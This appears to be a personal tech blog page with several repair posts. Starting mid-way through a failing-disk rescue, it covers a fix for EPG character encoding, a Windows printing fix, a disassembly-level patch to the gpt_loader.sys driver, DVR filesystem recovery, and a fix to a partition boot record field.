Now the device falls off again and we have the sdb2.log which now contains good blocks from the beginning, then a list of failed blocks and good blocks until the end. Now there can be a huge gap in between and we have to rescue data from good blocks in there too. So shutdown, powercycle, reboot again, copy sdb2.log to sdb3.log, then modify the lines that contain ‘/’ and ‘-‘ and are beyond the first faulty block to ‘?’, modify the status header from ‘+’ to ‘?’ again and try again in forward direction like in the first sample.. If it locks up, retry the step again (after power off and on) but leaving the faulty block you tried with ‘-‘ or ‘/’ and instead just mark the next blocks until you hit one that doesn’t lockup the machine. This way you can manually do the scraping in order to finally rescue as much data as possible from the drive to the image file.

Afterwards it can be written to the new drive (dd if=sdb.dd of=/dev/sdc bs=4096), as the newer drive is bigger, partitions can be moved and resized with gparted, but I had to ensure to use a very recent version of ntfs-3g for ntfsresize to work with new Windows 10 NTFS format, with older versions this step fails in gparted and I had to do it manually with recent version. Finally, the old drive was rescued and system was properly moved to the new drive.

EPG-√Ąnderung √Ėsterreich Mux A

By dose | May 8, 2016
Under: Uncategorized
Comments: No Comments »

Am Land, wo es oft keine Versorgung mit KabelTV gibt, bleibt DVB-T die einzige brauchbare M√∂glichkeit, um die terrestrisch ausgestrahlten lokalen TV-Programme empfangen zu k√∂nnen, wenn man sich nicht extra eine Satellitensch√ľssel aufs Dach stellen m√∂chte samt Decoderbox und Entsch√ľsselungskarte. Mit DVB-T kommt man mit einer kleinen Zimmerantenne aus und kann das TV-Programm bequem am PC ansehen.
Hierf√ľr hat sich der TV Schduler Pro ganz gut bew√§hrt, da er mit relativ einfachen Mitteln auskommt (Streamproducer und VLC). Damit man ein aktuelles TV-Programm in der Weboberfl√§che hat, muss man einmal t√§glich EPG scannen und das Backend damit speisen, dann reicht zum Aufnehmen einer Sendung ein einfaches Anklicken im Webinterface.Zum EPG Scannen eignet sich das kleine C++ Programm EPGScan vortrefflich. Seit etwas √ľber einem Monat lieferte mir dieses jedoch z.B. bei ORF-Programmen keine EPG-Texte mehr. Nun bin ich endlich dazugekommen das Problem zu analysieren: Scheinbar wurde das EPG k√ľrzlich umgestellt, um f√ľr die Beschreibungstexte die Zeichensatzcodierung mit der Kennziffer 0x0B zu verwenden. EPGScan kennt in seiner aktuellsten Version diese Zeichensatzcodierung jedoch leider nicht und somit bleibt das EPG f√ľr die Kan√§le dann leer.

Ein User hat vor mehreren Jahren schon einen Patch gemacht, der u.A. auch dieses PRoblem l√∂st, indem in der Funktion getStringFromBytes in CStreamScan.cpp pData[0] auf <0x0C abfragt und f√ľr alle Codierungen startByte=1 setzt, statt auf jede ihm bekannt separat abzufragen. Damit ist das Problem nach dem neu Kompilieren dann gel√∂st und EPGScan findet wieder wie gewohnt die Programminformationen. Der Patch befindert sich auf der Sourceforge-Projektseite hier. Viell. hat ja noch Jemand das gleiche Problem.

Windows 7 x64 and Office 2013 refusing to print

By dose | September 28, 2015
Under: Uncategorized
Comments: No Comments »

On a Windows 7 x64 system with Office 2013 and Adobe Acrobat 8 installed, I was unable to print in M$ office (worked fine in other Windows applications). Office always returned that there is no default printer installed and it was unable to print, regardless of the printer I chose from the list. Checking event log, I found out that on restart of the Windows printer spooler service and on first print, I got an error that the spooler was unable to load AdobePDF.dll in Event log. Therefore I had to remove the Adobe PDF printer driver from the subkey of:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Print\Environments\Windows x64\Drivers\Version-3

And everything worked fine again (except Adobe PDF printer of course, but this printer wasn’t really necessary anway).

gpt_loader.sys revisited, file read problem

By dose | June 28, 2015
Under: Uncategorized
Comments: 23 Comments »

It’s been over a year since I last analyzed and fixed a bug in the Paragon GPT
loader driver which enables us Windows XP users to use GPT partitioned drives
beyond 2TB in size.
Last time, I fixed a severe bug that caused the driver to crash.
This time a user reported a strange bug with the driver in the comments section
which I also experienced once but first ignored it:

The Problem

When reading files that are located beyond the 2TB area, massive memory usage
occurs and as a result, the computer slows down to a crawl. This is especially
a problem if you are copying large files from your 2TB harddisk.
More informations about the problem can be found in the comments for the last
fix where a user reported them.

Time to take a further look at the problem:

When copying file from T: to S: where T: is the GPT-drive that gpt_loader.sys
handles, during copy the physical memory usage increases a lot and the
Lazywriter thread starts flushing data to the SOURCE file on T: as can be seen
in Filemon:

Looking at the callstack of the first write to the source file, the write
operation roots at nt!MiMappedPageWriter.
This is the lazy writer thread that periodically sweeps through the dirty
pages and flushes them to disk.
So first conclusion is that there must be some memory mapped page containing
the source file whose pages got dirty for some reason. As they are dirty, the
system needs to cache their content which in turn seems to create the huge
memory usage ignoring the disk cache limits.
Dirty pages also need to be flushed back to disk which causes additional load
for no reason and theoretically may be even dangerous as a file that is
only being read may get corrupted on power loss. As read files normally
don’t get corrupted it is assumed that pages are dirty even though they
haven’t changed their content.
The thread is processing the MmMappedPageWriterList.

Now when trying with another file not in cache and checking some statistics,
it can be seen that there are many dirty pages for the SOURCE file being copied
(which are being flushed back to disk):

lkd> !memusage
...
Control Valid Standby Dirty Shared Locked PageTables  name
8a0c75d8   748  77632 577680     0     0     0  mapped_file( (2013-12-28 20-10) Polt- ORF2 N.ts )
8a074c80   208  654244  1636     0     8     0  mapped_file( (2013-12-28 20-10) Polt- ORF2 N.ts )
...

See amount of dirty pages!

lkd> !ca 8a0c75d8

ControlArea  @ 8a0c75d8
Segment      e55cf488  Flink      00000000  Blink        00000000
Section Ref         1  Pfn Ref       2cc80  Mapped Views        4
User Ref            0  WaitForDel        0  Flush Count         0
File Object  8a182408  ModWriteCount     0  System Views        4

Flags (8080) File WasPurged

File: \(2013-12-28 20-10) Polt- ORF2 N.ts

Segment @ e55cf488
Type nt!_MAPPED_FILE_SEGMENT not found.
lkd> !ca 8a074c80

ControlArea  @ 8a074c80
Segment      e386d998  Flink      00000000  Blink        00000000
Section Ref         1  Pfn Ref       2cc50  Mapped Views        2
User Ref            0  WaitForDel        0  Flush Count         0
File Object  8a1d4628  ModWriteCount     0  System Views        2

Flags (8080) File WasPurged

File: \(2013-12-28 20-10) Polt- ORF2 N.ts

Segment @ e386d998
Type nt!_MAPPED_FILE_SEGMENT not found.
lkd> !fileobj 8a182408

\(2013-12-28 20-10) Polt- ORF2 N.ts

Device Object: 0x8b560be8   \Driver\gpt_loader
Vpb: 0x8b57a450
Event signalled
Access: Read SharedRead

Flags:  0xc0062
Synchronous IO
Sequential Only
Cache Supported
Handle Created
Fast IO Read

FsContext: 0xe5584850    FsContext2: 0xe55849a8
Private Cache Map: 0x89e93b50
CurrentByteOffset: 2cc50000
Cache Data:
Section Object Pointers: 8a1dba3c
Shared Cache Map: 89e93a78         File Offset: 2cc50000
Vacb: 8b5d87f8
Your data is at: d3ad0000
lkd> !fileobj 8a1d4628

\(2013-12-28 20-10) Polt- ORF2 N.ts

Device Object: 0x8b578e30   \Driver\Ftdisk
Vpb: 0x8b586af0
Event signalled
Access: Read Write SharedRead SharedWrite

Flags:  0x43062
Synchronous IO
Sequential Only
Cache Supported
Modified
Size Changed
Handle Created

FsContext: 0xe1584990    FsContext2: 0xe1584ae8
Private Cache Map: 0x89dd72d0
CurrentByteOffset: 2cc50000
Cache Data:
Section Object Pointers: 896adb14
Shared Cache Map: 89dd71f8         File Offset: 2cc50000
Vacb: 8b5dba68
Your data is at: c2ad0000

lkd> !object 8a182408
Object: 8a182408  Type: (8b60ee70) File
ObjectHeader: 8a1823f0 (old version)
HandleCount: 1  PointerCount: 3
Directory Object: 00000000  Name: \(2013-12-28 20-10) Polt- ORF2 N.ts {HarddiskGptVolume1}

So this is the file being READ from the GPT disk as suspected and it has dirty
pages for some unknown reason.
It is possible that the view originates from the cache manager.
Cache manager normally has some sort of write throttling so that available
cache memory cannot be exceeded, but as this occurs on a READ file, the
throttling doesn’t have any effect here leading to excessive memory usage.

So it is time to have a look at what gpt_loader is actually doing in its
processing routine for read/write. Translated to Pseudo C-Code, it’s
basically the following (largely shortened to the relevant calls):

ATA_PASS_THROUGH_DIRECT InputBuffer;
IO_STATUS_BLOCK IoStatusBlock;
NTSTATUS Status;
KEVENT Event;
PIRP AtaIRP;
union {
  USHORT AtaFlags;
  BOOL bRead;
} flg;
DWORD IoStatusInformation; // Returned later in Irp->IoStatus.Information as number of bytes transferred
DWORD nSectors = IoGetCurrentStackLocation(Irp)->Parameters.Read.ByteOffset.QuadPart / this->dw124;

flg.bRead = IoGetCurrentStackLocation(Irp)->MajorFunction == IRP_MJ_READ;
InputBuffer.DataBuffer = MmGetSystemAddressForMdlSafe(Irp->MdlAddress, HighPagePriority);
flg.AtaFlags = ATA_FLAGS_48BIT_COMMAND | ATA_FLAGS_USE_DMA | (flg.bDoRead?ATA_FLAGS_DATA_IN:ATA_FLAGS_DATA_OUT);

for (IoStatusInformation = 0; nSectors > 0; IoStatusInformation+=InputBuffer.DataTransferLength)
{
  nSectorsRead = nSectors>(31 * (4096 / this->nBytesPerSector))?(31 * (4096 / this->nBytesPerSector)):nSectors;
  InputBuffer.DataTransferLength = nSectorsRead * this->nBytesPerSector;
  InputBuffer.AtaFlags = AtaFlags;
  // Omitted here: Fill InputBuffer with ATA-read command and data to read/write ...
  KeInitializeEvent(&Event, 0, 0);
  AtaIRP = IoBuildDeviceIoControlRequest(
    IOCTL_ATA_PASS_THROUGH_DIRECT,
    this->DeviceObject,
    &InputBuffer,
    sizeof(InputBuffer),
    &InputBuffer,
    sizeof(InputBuffer),
    0,
    &Event,
    &IoStatusBlock);
  if ((Status = IoCallDriver(this->DeviceObject, AtaIRP)) == STATUS_PENDING) {
    KeWaitForSingleObject(&Event, 0, 0, 0, 0);
    Status = IoStatusBlock.Status;
  }
  if (!NT_SUCCESS(Status)) break;
  nSectors -= nSectorsRead;
  InputBuffer.DataBuffer += nSectorsRead * this->nBytesPerSector;
}

When reading the documentation and what we can see here is that
IOCTL_ATA_PASS_THROUGH_DIRECT call requires not a MDL but a virtual address
where to read data to. So the driver does the obvious: It gets virtual
address from MDL via MmGetSystemAddressForMdlSafe and passes the pointer
to it to the lower level ATA driver so that the buffer gets read and filled.
Seems fine, right? And obviously works.
But from what I can see the following happens down the chain which causes the
unpleasant phenomenon mentioned above:
The lower level driver atapi.sys needs an MDL to read to, so
in IdeAtaPassThroughSetupIrp it does IoAllocateMdl for write access
with the virtual address passed in, assigns it to Irp->MdlAddress,
locks it with MmProbeAndLockPages and passes the call
through to the next driver. When the passthrough is done, it calls
its function IdeAtaPassThroughFreeIrp which does MmUnlockPages(Irp->MdlAddress).
On unlock, the page table entries of the write pages are marked as Modified
causing the unpleasant behaviour mentioned above.

Fixing it

So in order to circumvent this problem, the gpt_loader.sys driver instead
would need to allocate a buffer with size 0x1F000 bytes (maximum size supported
is 4096 * 31 for a block and it’s better to allocate the buffer once and reuse
it on every call than allocating and freeing it on every call, which looks a bit
expensive), let the lower level ATAPI driver read to that buffer
and then memcpy the read data from this buffer to the input buffer
to circumvent marking the pages dirty.

Now can this be fixed with patching? It seems to be quite hard as we must
actually add instructions to the driver without increasing its size or
overwriting vital functions.
First problem is the buffer space. This turns out to be easy. In generateLoader,
memory for the handling class is allocated with:

HandlerClass = malloc_pool(0x154u, NonPagedPool);

.00010877: 57                           push        edi
.00010878: 6854010000                   push        000000154
.0001087D: E8B4650000                   call       .000016E36

So we just add 0x1F000 to the size of the class structure and address
HandlerClass+0x154 as the buffer. This also ensures that it gets freed properly
on exit without the need to add free-function:

.00010878: 6854200000                   push        00001F154

The harder part is fixing the processIrp routine. Looking at the pseudo-code
above, we basically need to change the routine to the following:

ATA_PASS_THROUGH_DIRECT InputBuffer;
IO_STATUS_BLOCK IoStatusBlock;
NTSTATUS Status;
KEVENT Event;
PIRP AtaIRP;
union {
  USHORT AtaFlags;
  BOOL bRead;
} flg;
DWORD IoStatusInformation; // Returned later in Irp->IoStatus.Information as number of bytes transferred
DWORD nSectors = IoGetCurrentStackLocation(Irp)->Parameters.Read.ByteOffset.QuadPart / this->dw124;
PBYTE Buffer = MmGetSystemAddressForMdlSafe(Irp->MdlAddress, HighPagePriority);

flg.bRead = IoGetCurrentStackLocation(Irp)->MajorFunction == IRP_MJ_READ;
InputBuffer.DataBuffer = flg.bRead?this->offs154:Buffer;
flg.AtaFlags = ATA_FLAGS_48BIT_COMMAND | ATA_FLAGS_USE_DMA | (flg.bDoRead?ATA_FLAGS_DATA_IN:ATA_FLAGS_DATA_OUT);

for (IoStatusInformation = 0; nSectors > 0; IoStatusInformation+=InputBuffer.DataTransferLength)
{
  nSectorsRead = nSectors>(31 * (4096 / this->nBytesPerSector))?(31 * (4096 / this->nBytesPerSector)):nSectors;
  InputBuffer.DataTransferLength = nSectorsRead * this->nBytesPerSector;
  InputBuffer.AtaFlags = AtaFlags;
  // Omitted here: Fill InputBuffer with ATA-read command and data to read/write ...
  KeInitializeEvent(&Event, 0, 0);
  AtaIRP = IoBuildDeviceIoControlRequest(
    IOCTL_ATA_PASS_THROUGH_DIRECT,
    this->DeviceObject,
    &InputBuffer,
    sizeof(InputBuffer),
    &InputBuffer,
    sizeof(InputBuffer),
    0,
    &Event,
    &IoStatusBlock);
  if ((Status = IoCallDriver(this->DeviceObject, AtaIRP)) == STATUS_PENDING) {
    KeWaitForSingleObject(&Event, 0, 0, 0, 0);
    Status = IoStatusBlock.Status;
  }
  if (!NT_SUCCESS(Status)) break;
  nSectors -= nSectorsRead;
  if (flg.AtaFlags & ATA_FLAGS_DATA_IN) {
    RtlCopyMemory(Buffer, InputBuffer.DataBuffer, InputBuffer.DataTransferLength);
    Buffer += nSectorsRead * this->nBytesPerSector;
  } else InputBuffer.DataBuffer += nSectorsRead * this->nBytesPerSector;
}

First, we need more space on the stack for our pointer:

.00015DEA: 8BFF          mov    edi,edi
.00015DEC: 55            push   ebp
.00015DED: 8BEC          mov    ebp,esp
.00015DEF: 81EC8C000000  sub    esp,00000008C
.00015DF5: A1008C0100    mov    eax,[00018C00]

So, change it to sub esp, 90h, so that [ebp-90h] is our new pointer:

.00015DEF: 81EC90000000  sub    esp,000000090

As there is new code to add, we need to create a new section for the code,
because there is not enough space to stuff all that into the original function.
We can cut off 0x200 bytes of the end of the .reloc section and create a new
code section for our code there.
But due to the alignment of .reloc, we also have to change the
section table to remove the discardable flag of .reloc, otherwise our code
will vanish when .reloc gets discarded. This unfortunately adds 1,75KB of
increased memory usage to our driver, but that shouldn’t hurt you too much
I guess ūüėČ
Next we have to ensure that our new buffer pointer gets initialized properly
with the target and the InputBuffer.DataBuffer gets setup correctly to our
new buffer. Here is the original code where buffer gets initialized:

.00015E92: 8945CC        mov    [ebp][-34],eax        ; InputBuffer.DataBuffer
.00015E95: 3BC3          cmp    eax,ebx
.00015E97: 7517          jne    .000015EB0
.00015E99: BE170000C0    mov    esi,0C0000017

We are moving this to a seperate routine in order to be able to place a
call in here:

.00015E92: E8694F0000    call   .00001AE00
.00015E97: 7517          jne    .000015EB0

Now there is one very important thing to consider: The routine we are patching is
a read/write routine, so we only need to do all that buffer copy magic on read,
not on write or we will be toast!
[ebp][-49] contains a flag that is set when reading and not set when writing.
We can use that.

In our new routine at 00001AE00:

0001AE00: 385DB7         cmp    [ebp][-49],bl         ; Check if we want to read or write
0001AE03: 8BD8           mov    ebx,eax               ; On write, set eax buffer directly like it used to be
0001AE05: 740C           je     .00001AE13            ; Jump on write, on read instead:
0001AE07: 898570FFFFFF   mov    [ebp][-00000090],eax  ; Fill our stack variable with ptr to dest buffer
0001AE0D: 8D9E54010000   lea    ebx,[esi][00000154]   ; Pointer to buffer in Class that we allocated on read
0001AE13: 895DCC         mov    [ebp][-34],ebx        ; Set InputBuffer.DataBuffer to class-buffer on read, to eax (direct MDL buffer) on write
0001AE16: 33DB           xor    ebx,ebx               ; Restore abused ebx to 0
0001AE18: 3BC3           cmp    eax,ebx               ; Do comparison we had to eliminate for CALL
0001AE1A: C3             retn                         ; ...and back

Next comes the part IoStatusInformation+=InputBuffer.DataTransferLength at the
end of the loop that needs to be adapted so that content of temporary buffer
can be copied to input IObuffer from MDL:

.00016001: 11559C        adc    [ebp][-64],edx
.00016004: 0FAF45A8      imul   eax,[ebp][-58]
.00016008: 0145CC        add    [ebp][-34],eax       ; InputBuffer.DataBuffer+=eax
.0001600B: 8B45C0        mov    eax,[ebp][-40]       ; eax=InputBuffer.DataTransferLength
.0001600E: 014594        add    [ebp][-6C],eax       ; IoStatusInformation+=eax
.00016011: 395DA0        cmp    [ebp][-60],ebx       ; nSectors==0?
.00016014: 0F87C6FEFFFF  ja     .000015EE0
.0001601A: EB32          jmps   .00001604E

ecx isn’t used for anything in this routine starting from this point, so
we can reuse it as counter for memcpy without saving.
eax also isn’t used anywhere else so we can just fill ecx instead
of eax here and use eax for incrementing src ptr later
(as DataTranferLength theoretically can be < nSectorsRead*BytesPerSector
on incomplete reads, although that shouldn’t happen).
But we also need to skip InputBuffer.DataBuffer+=eax on read operation,
as we are always reading to the same temp buffer and only incrementing
our dest pointer we copy the memory to. Therefore we move up
eax=InputBuffer.DataTransferLength to overwrite the add and then call
our new routine at AE20:

.00016008: 8B4DC0        mov    ecx,[ebp][-40]       ; ecx=InputBuffer.DataTransferLength
.0001600B: 014D94        add    [ebp][-6C],ecx       ; IoStatusInformation+=ecx
.0001600E: E80D4E0000    call   .00001AE20           ; Call our new routine
.00016013: 90            nop                         ; Padding

In our new routine, we can finally do the copy.
As copying up to 0x1900 bytes with repe movsb doesn’t look particularily fast,
better use memcpy which is located at 6CF2 in our driver version.
Unfortunately the bRead-Flag is a union with the USHORT AtaFlags  which gets set at
5ED3, so we have to test for ATA-Flags now

Read = ATA_FLAGS_48BIT_COMMAND | ATA_FLAGS_USE_DMA | ATA_FLAGS_DATA_IN = 0x1A,
Write = ATA_FLAGS_48BIT_COMMAND | ATA_FLAGS_USE_DMA | ATA_FLAGS_DATA_OUT = 0x1C

.0001AE20: 8A5DB6        mov    bl,[ebp][-4A]        ; Fetch ATA Flags
.0001AE23: 80FB1C        cmp    bl,01C               ; Read or write?
.0001AE26: 7505          jne    .00001AE2D           ; Jump on read, on write do:
.0001AE28: 0145CC        add    [ebp][-34],eax       ; InputBuffer.DataBuffer+=eax
.0001AE2B: EB17          jmps   .00001AE47           ; Do other missing stuff and back, on read do:
.0001AE2D: 50            push   eax                  ; Save eax to increment Dest ptr
.0001AE2E: 51            push   ecx                  ; Length = ecx
.0001AE2F: FF75CC        push   d,[ebp][-34]         ; Source = InputBuffer.DataBuffer
.0001AE32: FFB570FFFFFF  push   d,[ebp][-00000090]   ; Destination = Dest ptr to current loc in MDL
.0001AE38: E8B5BEFFFF    call   memcpy               ; ntoskrnl.exe
.0001AE3D: 83C40C        add    esp,00C              ; Fix the stack
.0001AE40: 58            pop    eax                  ; Restore eax
.0001AE41: 018570FFFFFF  add    [ebp][-00000090],eax ; Update Dest ptr to current loc in MDL
.0001AE47: 33DB          xor    ebx,ebx              ; Restore ebx
.0001AE49: 395DA0        cmp    [ebp][-60],ebx       ; nSectors == 0? (we deleted this with our call)
.0001AE4C: C3            retn                        ; ...and back

Patch

Of course use that on your own risk, I do not guarantee for anything, but for me
this fixes the bug and the driver now works flawlessly ūüôā
I wrote a little patcher that
patches the driver accordingly. Just run it and
if it patched successfully, reboot the system to load the fixed version of the
driver.
Feel free to try it and if you are also suffering from this problem, you can
leave a comment if this actually fixes it for you too.

If you haven’t done it already, also apply the first patch which fixes a
BSOD problem, every patch is for a certain problem only, this patch
therefore doesn’t contain the fixes from the BSOD patch.

For those who use crappy Antivirus programs like Antivir, don‚Äôt get fooled by the generic Antivirus signature-match TR/Downloader.gen (which is really stupid, as the exeutable doesn’t even call any Internet functions, so how should that download anything??), you can check with Virustotal.
If you have such an Antivirus program, use this build instead which is a larger executable but isn’t subject to false positives.

Recovery of a Panasonic DVR Recorder Harddisk

By dose | March 4, 2015
Under: Uncategorized
Comments: 4 Comments »

After my pervious adventures with a Pioneer DVR recorder, a user contacted me and asked me if I could also analyze the Filesystem of a Panasonic DVR recorder and sent me an image.
I saw that it uses a custom Filesystem which is called MEIHDFS V2.0. I searched for this term on the Internet and found this thread. It seems that a guy called hkmaly started researching the filesystem and found out the block size. As he obviously already found out some of the structures, I thought that I should contact him and fortunately, he immediately responded to my inquiry. He was kind enough to send me the sourcecode he wrote back in 2012 when he researched the filesystem and found out the description of an inode block. However he didn’t find the inode directory and therefore only managed to collect inode blocks on disk where it was unvertain if they were sctive or inactie as the directory and inode blocks get rewritten after every editing process resulting in multiple copies of the same inode number on the disk making it impossible to recover the current state. Using a Hex editor, I finally found the inode directory and gathered enough information to be able to restore the filesystem of the recorder in case the inode table is always at a fixed position starting from the superblock (which I’m not sure but just assuming).
The recorder basically stores the DVD-Recordings in DVD-RAM format where there unfortunately is no description available, because it’s a proprietary standard. However I found the dvd-vr program where the author managed to gather¬† lot of information from the format using reverse engineering. Using this as a template, I found out the structure of the Recorder’s .VOB files which are slightly different than the ones on DVD-RAM (mostly they are shorter omitting some stuff that the original DVD-RAM format has incorporated). So I created a modified copy of this program that was able to parse the Pioneer DVD-RAM format used.

So I finally ended up with 2 utilities: extract for extracting the MEIHDFS Filesystem und dvd-vr for extracting movie data from the resulting .VOB files.
Technical information about the filesystem and various other informations can be found in the README file of the project.

You can download the source and binaries >> HERE <<

Hopefully this is helpful for people with failed harddisks to recover their movies. I’d love to hear from you if you managed to rescue your data with it. If you have questions or need adaptions of the program for your recorder, feel free to contact me.

Moving Acer eRecovery to a new Harddisk

By dose | January 24, 2015
Under: Uncategorized
Comments: No Comments »

I was asked if I could analyze a defective Acer Notebook that took hours to boot or to reinstall Windows and fix the problem.
As it turned out, the harddisk was defective as I was able to verify in an external enclosure. The disk had an approx. transfer-Rate from 1-2MB/s, so veeeeery slow. When the problems started (with a BSOD), the owner tried to reinstall windows after backing up his data, so there wasn’t much left to save off the drive. So I ordered a new harddisk. But a I wanted to do a clean recovery and also preserve the original license and installation, I wanted to copy the hidden Acer eRecovery Partition (the application that starts up when you press ALT+F10 in BIOS) which is named PQSERVICE and can be found at the beginning of the drive. So the obvious step (as the drive was so slow) was to clone only that Partition to the new drive. That took approx. 8 hours but worked fine.
After cloning the drive, I put it back into the original PC to do the restoration with ALT+F10 an was greeted with the following error message from the Boot loader:

"A disk read error occurred. Press Ctrl+Alt+Del to restart"

Too bad, something must have gone awfully wrong here. So my first steps were to boot up a Windows 7 PE Image, unhide the partition (set ID from 27 to 7), doing bootcfg, fixmbr, fixboot, bootsect /nt60 to it etc. But nothing helped, I was always greeted with the same error message.
Being a bit frustrated after over 2 hours of messing around with it, I thought that I should probably compare the old and new drive with a disk editor on sector level and then I found the problem:

The PQSERVICE Partition started at sector 2048 on the original drive, whereas my Partition copying software put the Partition to sector 63 onto the new drive which is quite fine and logical, as there is no need to waste space on a new drive. HOWEVER the Partition boot record (PBR) still contained the Info from the old drive. To understand the issue, let’s have a look at the first 32 bytes of my NTFS boot record:

00000000:EB 52 90 4E 54 46 53 20 -20 20 20 00 02 08 00 00 .R.NTFS ........
00000010:00 00 00 00 00 F8 00 00 -3F 00 FF 00 00 08 00 00 ........?.......

To get a description of these bytes, look i.e. at this site.

Interesting to me is offset 1C which contains the number of “hidden sectors”.
This is simply the number of sectors preceeding the boot record. Now my value is 0x800 which is 2048 as you can see. As the boot record on the new HDD resides in sector 63, this needs to be replaced with 3F 00 00 00.
So I did this et voilà: eRecovery booted again!